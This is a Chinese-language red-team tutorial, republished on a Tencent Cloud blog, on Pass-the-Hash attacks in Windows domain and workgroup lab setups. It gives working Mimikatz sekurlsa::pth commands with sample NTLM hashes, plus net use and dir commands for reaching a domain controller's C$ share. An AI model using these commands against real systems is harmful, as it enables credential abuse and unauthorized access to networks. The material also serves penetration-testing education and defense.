前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >哈希传递(Pass The Hash)攻击与利用

哈希传递(Pass The Hash)攻击与利用

作者头像
渗透攻击红队
发布2020-11-25 10:45:17
2.8K0
发布2020-11-25 10:45:17
举报
文章被收录于专栏:漏洞知识库漏洞知识库

哈希传递攻击

哈希传递(Pass The Hash)攻击,该方法通过找到与账户相关的密码散列值(通常是 NTLM Hash)来进行攻击。

在域环境中,用户登录计算机时使用的大概都是域账号,大量计算机在安装时会使用相同的本地管理员账户密码,因此如果计算机的本地管理员账户和密码相同的话,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。

哈希传递攻击的好处

通过哈希传递攻击,攻击者不需要花时间破解密码散列值来获取明文密码。

在 Windows Server 2012 R2 及之后的版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。

哈希传递攻击分析

散列值的概念:当用户登录一个网站的时候,如果该网站使用的是明文密码来保存密码,那么一旦网站被攻破,所有用户的明文密码都会被泄露,所有就产生了散列值的概念。

哈希传递攻击的前提:有管理员的 NTLM Hash ,并且目标机器开放445端口。

在工作组环境中
  • Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
  • Windows Vista 之后的机器,只能是administrator(SID为500)用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。

这里强调的是 SID 为500的账号,在一些计算机中,即使将Administrator账号改名,也不会影响SID的值。再补充一下:管理员组的非SID500账户登录之后是没有过UAC的,所有特权都被移除。而SID500账户登录之后也以完全管理特权(”完全令牌模式”)运行所有应用程序,实际是不用过UAC的。

Hash 传递攻击

使用 NTLM Hash 进行哈希传递


mimikatz(域环境)

用到的工具是 Mimikatz 。

首先是使用 Mimikatz 抓取到了域管的 NTLM Hash:

代码语言:javascript
复制
administrator
ccef208c6485269c20db2cad21734fe7

重点在于使用哈希传递的时候需要用管理员权限运行mimikatz,我们已经获取了域管理员组内用户的NTLM哈希值。我们可以使用域内的一台主机用mimikatz对域内任何一台机器(包括域控)进行哈希传递攻击。执行完命令后,会弹出CMD窗口,在弹出的CMD窗口我们可以访问域内任何一台机器。前提是我们必须拥有域内任意一台主机的本地管理员权限和域管理员的密码NTLM哈希值。

攻击者:mary.god(域用户,有管理员权限的shell)

目标:god.administrator(域管理员)

目标IP:192.168.3.21

首先是使用 Mimikatz 抓取到了域管理员的 NTLM Hash:

代码语言:javascript
复制
god.org
administrator
ccef208c6485269c20db2cad21734fe7
代码语言:javascript
复制
# 运行命令弹出CMD
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7"
# 与域控建立IPC
net use \\192.168.3.21
# 查看目标机器的C盘文件
dir \\192.168.3.21\c$

mimikatz(工作组环境)

攻击者:mary(工作组,管理员权限)

目标:administrator(本地管理员)

目标IP:192.168.3.31

首先是使用 Mimikatz 抓取到了本地管理员的 NTLM Hash:

代码语言:javascript
复制
administrator
518b98ad4178a53695dc997aa02d455c

运行命令:

代码语言:javascript
复制
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:目标机器IP /ntlm:xxxxxx"
#实例
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:192.168.3.31 /ntlm:518b98ad4178a53695dc997aa02d455c"
# 与本地管理员建立IPC
net use \\192.168.3.21
# 查看目标机器的C盘文件
dir \\192.168.3.31\c$

PS:有的时候 dir 后面跟 IP 地址会提示用户名或密码错误,这个时候我们需要输入目标的主机名:

代码语言:javascript
复制
dir \\OWA2010CN-God\c$

成功,此时会自动弹出一个新的shell,这时访问远程主机或服务,就不用提供明文密码了,如下,我们列出了域控制器的c盘目录:

注意,哈希传递攻击要注意一下几点:

  • dir命令后面要使用主机名,不能用IP,否则报错
  • 使用mimikatz进行哈希传递要具有本地管理员权限

参考文章:

https://mp.weixin.qq.com/s/MtomFV5oKziT6_Zt1rBpKQ

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-11-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透攻击红队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 哈希传递攻击的好处
  • 哈希传递攻击分析
    • 在工作组环境中
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档